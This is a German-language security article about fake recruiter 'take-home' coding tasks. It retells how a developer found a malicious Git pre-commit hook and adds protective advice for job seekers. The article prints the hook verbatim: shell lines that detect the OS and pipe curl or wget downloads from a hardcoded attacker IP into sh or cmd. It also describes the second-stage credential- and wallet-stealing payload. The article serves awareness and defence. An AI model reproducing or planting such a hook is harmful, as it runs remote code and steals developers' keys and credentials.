Wenn die Bewerbungsaufgabe zur Schadsoftware wird: Eine sorgfältig inszenierte «Einstellung»
Letzten Donnerstag erhielt ein Entwickler namens Appaji eine LinkedIn-Nachricht von einem Recruiter. Angeboten wurde eine Remote-Python-Entwicklerstelle mit einem Monatsgehalt zwischen 10.000 und 15.000 US-Dollar. Der Bewerbungsprozess schien einfach: ein Online-Gespräch plus eine «Take-Home-Aufgabe» (Projektarbeit). Das Gehalt war verlockend, das Unternehmen ein von Y Combinator gefördertes Startup – alles schien plausibel.
Doch Appaji blieb misstrauisch. Er lud das Projektarchiv herunter, führte aus Gewohnheit tree -a aus, um versteckte Verzeichnisse zu sehen. Im dichten Dateibaum entdeckte er eine ungewöhnliche Datei: .git/hooks/pre-commit. Er öffnete sie – und fand ein Skript, das automatisch das Betriebssystem erkannte und einen entsprechenden Remote-Download ausführte. Je nachdem, ob der Rechner mit macOS, Linux oder Windows lief, sollte es unbemerkt eine Hintertür herunterladen und im Hintergrund ausführen. Es handelte sich um einen sorgfältig geplanten Angriff – gestohlen werden sollten SSH-Schlüssel, AWS-Anmeldedaten, Kryptowährungs-Wallets … während der Bewerber nichtsahnend weiterarbeitete, wurde seine gesamte Entwicklungsumgebung zu einem offenen Tresor.

Abbildung: Die eingegangene LinkedIn-Nachricht. Der Recruiter nannte von sich aus die Gehaltsspanne – bei echten Einstellungen zwar nicht ungewöhnlich, aber im Nachhinein betrachtet war das überhöhte Gehalt die erste rote Flagge.
Das Drehbuch einer «Bewerbung»
Der Autor rekonstruiert anhand von Appajis öffentlicher technischer Analyse die vollständige Angriffskette.
Schritt 1: Phishing – wer sagt schon Nein zu einem hohen Gehalt?
Der angebliche Arbeitgeber kontaktierte das Opfer aktiv über LinkedIn. Die Gehaltsspanne war äußerst verlockend und lag weit über dem Durchschnitt im indischen Markt. Die erste Reaktion des Opfers war natürlich: «Was für ein Glück!» Der Bewerbungsprozess verlief reibungslos: Der Lebenslauf wurde eingereicht und schnell angenommen.
Schritt 2: Ein professionell wirkendes Programmierprojekt
Der Absender schickte einen Google-Drive-Link mit einem ZIP-Archiv und einer PDF mit Aufgabenstellung. Das Projekt war ein FastAPI-Backend-Dienst mit SQLAlchemy als ORM – eine Standardvorlage für Python-Interview-Aufgaben. Die requirements.txt war sauber, ohne verdächtige Drittanbieterpakete.
Schritt 3: Die «Zeitbombe» in .git/hooks
Als Appaji jedoch mit tree -a alle versteckten Dateien auflistete, entdeckte er im Verzeichnis .git/hooks über 20 vorinstallierte Git-Hook-Skripte. Git Hooks sind eine relativ wenig bekannte, aber mächtige Funktion der Versionskontrolle Git – sie ermöglichen es, bei bestimmten Ereignissen (wie git commit) automatisch Skripte auszuführen. Ursprünglich ein Produktivitätswerkzeug, wird es hier böswillig als Trojaner-Träger missbraucht.
Der pre-commit-Hook wird automatisch bei der Ausführung von git commit aktiviert. Seine Kernlogik umfasste nur wenige Zeilen:
#!/bin/sh
case "$(uname -s)" in
Darwin*) curl -sL 'http://45.61.164.38:5777/task/mac?id=402' -L | sh > /dev/null 2>&1 & ;;
Linux*) wget -qO- 'http://45.61.164.38:5777/task/linux?id=402' -L | sh > /dev/null 2>&1 & ;;
MINGW*|MSYS*|CYGWIN*) curl -sL http://45.61.164.38:5777/task/windows?id=402 -L | cmd > /dev/null 2>&1 & ;;
esac
Dieser Code ermittelt zunächst das Betriebssystem des Opfers, lädt dann ein weiteres Skript von einem Remote-Server herunter und führt es still im Hintergrund aus – ohne Benutzerinteraktion, ohne Pop-up-Fenster. Sobald git commit ausgeführt wird, arbeitet es unbemerkt.
Die PDF mit der Aufgabenstellung enthielt genau eine Git-Operation – der Kandidat sollte Code ändern und dann committen, genau um diesen Hook auszulösen.
Schritt 4: Mehrstufige Nutzlast – Datenspionage versteckt in «npm-Abhängigkeiten»
Das erste Skript lud von demselben Server ein zweites Skript herunter, speicherte es still in ~/Documents/, benannte es in .sh um und führte es via nohup im Hintergrund aus. Das zweite Skript hatte ein klareres Ziel: Es installierte automatisch Node.js, lud parser.js und package.json herunter, installierte Abhängigkeiten via npm und führte parser.js aus.
Dieses parser.js war stark verschleiert, aber seine package.json verriet die Angriffsabsicht: Die Abhängigkeiten umfassten clipboardy (Zwischenablage lesen), basic-ftp (FTP-Übertragung), axios (HTTP-Anfragen), jsonwebtoken (JWT-Token manipulieren) und hardhat (Ethereum-Entwicklungstool). Dies deutet darauf hin, dass der Angreifer nicht nur SSH-Schlüssel und AWS-Anmeldedaten stehlen wollte, sondern auch nach Kryptowährungs-Wallet-Informationen suchte.

Abbildung: Der angebliche Arbeitgeber nannte die Gehaltsspanne bereits in der ersten Kontaktaufnahme. Im Nachhinein betrachtet war das überhöhte Gehalt ein typischer «Köder» – um das Opfer in freudiger Erwartung unvorsichtig werden zu lassen.
Die andere Seite: Wie professionell war der Angreifer wirklich?
Dieser Vorfall geht weit über einen gewöhnlichen Trojaner hinaus.
Cleverer Auslösemechanismus. Der Angreifer baute gezielt eine Git-Operation in die PDF-Aufgabenstellung ein, damit das Opfer «freiwillig» git commit ausführen und so den Schadcode aktivieren würde. Jeder Schritt war auf das Verhalten des Opfers abgestimmt.
Plattformübergreifend. Das Angriffsskript deckte macOS, Linux und Windows ab und verwendete für jede Plattform unterschiedliche Download-Tools und Befehle. Dies zeigt, dass der Angreifer von Anfang an eine groß angelegte, nicht auf eine bestimmte Entwicklergruppe beschränkte Attacke plante.
Identitätsverfolgung. Der Parameter id=402 in der Anfrage-URL war nicht statisch. Eine Änderung dieser ID führte zu anderen Skripten. Der Autor vermutet, dass der Angreifer jedem Opfer eine eindeutige Kennung zuwies, um nachvollziehen zu können, welche Ziele erfolgreich «angelte», und um gezielt unterschiedliche Nutzlasten auszuliefern.
Mehrere Verteilungswege. Neben dem Verstecken im .git/hooks-Verzeichnis verwendete eine Variante des Angriffs auch VSCode-Startaufgaben im .vscode-Verzeichnis, um den Trojaner zu verbreiten. Sobald man das Projekt in VSCode öffnete und dem Autor «vertraute», wurde der Schadcode automatisch ausgeführt.
Aber auch amateurhafte Züge. Die IP-Adresse des C2-Servers war als Klartext hartcodiert, ohne getarnte Domain – in der modernen Malware-Szene eher primitiv. Allerdings lief auf dem Server die aktuellste SSH-Version 9.6p1 – ein Zeichen dafür, dass der Angreifer zumindest ein gewisses Bewusstsein für Betriebssicherheit hatte.
Diese Mischung aus Sorgfalt und Nachlässigkeit lässt den Autor vermuten, dass es sich um eine mittlere kriminelle Gruppe handelt, die ihre Angriffswerzeuge schnell weiterentwickelt.
Warum sind Entwickler zur Zielscheibe geworden?
Die Fokussierung auf arbeitssuchende Entwickler ist kein Zufall.
Schlüssel sind Vermögenswerte. Auf dem Rechner eines Entwicklers (insbesondere im Backend- und DevOps-Bereich) finden sich fast zwangsläufig private SSH-Schlüssel, AWS-/GCP-/Azure-Zugangsdaten, Datenbankpasswörter, API-Tokens … Die Kompromittierung eines Entwicklerrechners ist gleichbedeutend mit dem Zugriff auf die gesamte Cloud-Infrastruktur des Unternehmens. Ein einzelner privater SSH-Schlüssel erzielt auf dem Schwarzmarkt einen deutlich höheren Preis als die Bankdaten eines Durchschnittsbürgers.
Vertrauensautomatismus. Die Bewerbungssituation bietet dem Angreifer eine natürliche Tarnung. Wer aktiv auf Jobsuche ist, befindet sich in einem psychologischen Zustand, der von «Anerkennung suchen» und «mit dem Prozess kooperieren» geprägt ist. Der Interviewer bittet um Programmierübungen, das Klonen eines Repositories, das Ausführen von Befehlen – für den Kandidaten erscheinen diese Aktionen völlig normal. Der Angreifer nutzt dieses asymmetrische Vertrauensverhältnis präzise aus.
Geringe technische Hürde, hohe Rendite. Ein halbwegs ansprechendes FastAPI-Projekt ist in wenigen Stunden erstellt. Ein existierendes Open-Source-Repository klonen, schädliche Hooks hinzufügen, neu verpacken – die Kosten sind minimal, der potenzielle Gewinn bei einem erfolgreichen Angriff liegt bei mehreren Hunderttausend Dollar.
«Bewerbungsangriffe» nehmen rasant zu
Appajis Fall ist kein Einzelfall. Das Microsoft-Sicherheitsteam hat diese Art von Angriff als «Contagious Interview» bezeichnet und darauf hingewiesen, dass die Kampagne mindestens seit Dezember 2022 läuft. Die Angreifer geben sich als Recruiter von Kryptowährungs- oder KI-Unternehmen aus und verteilen über Code-Hosting-Plattformen Programmieraufgaben, die Hintertüren enthalten.
Laut Sicherheitscommunity hat sich die Zahl solcher «Bewerbungsangriffe» im ersten Halbjahr 2026 im Vergleich zum Vorjahreszeitraum mehr als verdoppelt. Auf Hacker News berichteten mehrere Entwickler von ähnlichen Erfahrungen – einer namens IvanGoncharov erwähnte, dass er in einem Online-Interview aufgefordert wurde, ein Repository zu klonen und auszuführen. Nach dem Interview brach der angebliche «CTO» den weiteren Prozess mit der Begründung «Krankheit» ab, und wenige Tage später verschwand auch das LinkedIn-Konto der angeblichen HR-Mitarbeiterin. Erst durch Appajis Artikel wurde ihm klar, dass er hereingefallen war – als ehemaliger Hauptbetreuer eines npm-Pakets mit über 43 Millionen wöchentlichen Downloads war er ein besonders lohnendes Ziel und musste seinen Rechner komplett formatieren und neu aufsetzen.

Abbildung: Die Suche ergab, dass die Erweiterung «.npl» mit bekannten APT-Angriffsaktivitäten in Verbindung steht. Der Angreifer verwendete diese Endung in der ersten Nutzlastebene, um einfache Dateinamensprüfungen zu umgehen.
Wie schützt man sich? Praktische Ratschläge für Arbeitssuchende
Der Autor möchte keine Panik verbreiten, aber grundlegende Vorsichtsmaßnahmen können helfen, nicht das nächste Opfer zu werden. Hier einige Empfehlungen:
1. Führen Sie Projekte für Bewerbungen immer in einer isolierten Umgebung aus. Bevor Sie die Aufgabe lokal ausführen, nutzen Sie eine VM oder einen Docker-Container. Führen Sie tree -a oder ls -la aus, um nach ungewöhnlichen versteckten Dateien und vorinstallierten Hook-Dateien zu suchen.
2. Prüfen Sie die Verzeichnisse .git/hooks und .vscode. Wenn das Projekt ein Git-Repository enthält, sehen Sie sich zuerst das .git/hooks-Verzeichnis an – insbesondere nach pre-commit und post-checkout. Bei VSCode-Projekten prüfen Sie .vscode/tasks.json und .vscode/launch.json.
3. Seien Sie misstrauisch bei der Kombination «hohes Gehalt + einfaches Interview». Ein weit über dem Marktniveau liegendes Gehalt bei gleichzeitig extrem vereinfachtem Bewerbungsprozess ist an sich bereits ein Warnsignal.
4. Bewahren Sie keine wichtigen Zugangsdaten auf dem Bewerbungsrechner auf. Erwägen Sie die Nutzung eines «sauberen» Entwicklungsgeräts oder einer virtuellen Umgebung während der Jobsuche und bewahren Sie keine wichtigen SSH-Schlüssel oder Cloud-Anmeldedaten auf dem Rechner auf, auf dem Sie Bewerbungsprojekte ausführen.
5. Prüfen Sie Abhängigkeiten und Build-Skripte. Bevor Sie npm install oder pip install ausführen, sehen Sie sich package.json, requirements.txt und Makefile an – gibt es ungewöhnliche Abhängigkeiten? Skripte, die bei der Installation ausgeführt werden?
6. Achten Sie auf das «Verfallsdatum» des LinkedIn-Profils des Recruiters. Wenn das LinkedIn-Konto des Recruiters zu «neu» ist (erst kürzlich erstellt, wenige Kontakte, vage Angaben zur Berufserfahrung), handelt es sich wahrscheinlich um ein Fake-Profil. Echte Recruiter haben in der Regel eine mehrjährige Personalarbeit und ein sichtbares berufliches Netzwerk vorzuweisen.
Nachbemerkung
Beim erneuten Lesen dieser Geschichte beeindruckt den Autor am meisten dieser beklemmende Moment kurz vor dem «Beinahe-drauf-reingefallen». Appaji selbst räumte ein: Wenn er nicht durch CTF-Wettbewerbe die Gewohnheit entwickelt hätte, versteckte Verzeichnisse zu prüfen, hätte er wahrscheinlich einfach git commit ausgeführt und gepusht – er entsprach vollständig dem Profil des «idealen Opfers», das der Angreifer erwartete: erfahren, technisch versiert, auf Jobsuche.
Die wahre Gefahr dieses Angriffs liegt darin, dass er den grundlegendsten Vertrauensmechanismus der menschlichen Gesellschaft ausnutzt: «Was der Interviewer einen tut, ist sicher und notwendig.» Wenn Schadcode in einen völlig normalen Bewerbungsprozess verpackt ist, sind selbst die modernsten Antivirenprogramme machtlos.
Vielleicht ist auf dem digitalen Schlachtfeld jener Gedanke – «diesmal wird es schon gut gehen» – das eigentliche Sicherheitsrisiko.
Referenzlinks
- I Inspected My Take-Home Interview Project. It Was a Whole Operation (Originalartikel)
- Contagious Interview: Malware delivered through fake developer job interviews (Microsoft Security Blog)
- Fake Job Interview Backdoor Malware Targeting Developer Machines (DEV Community)
- Contagious Interview malware in SVG images: DPRK campaign (Elastic Security Labs)
- Hacker News Diskussion (ID: 49013036)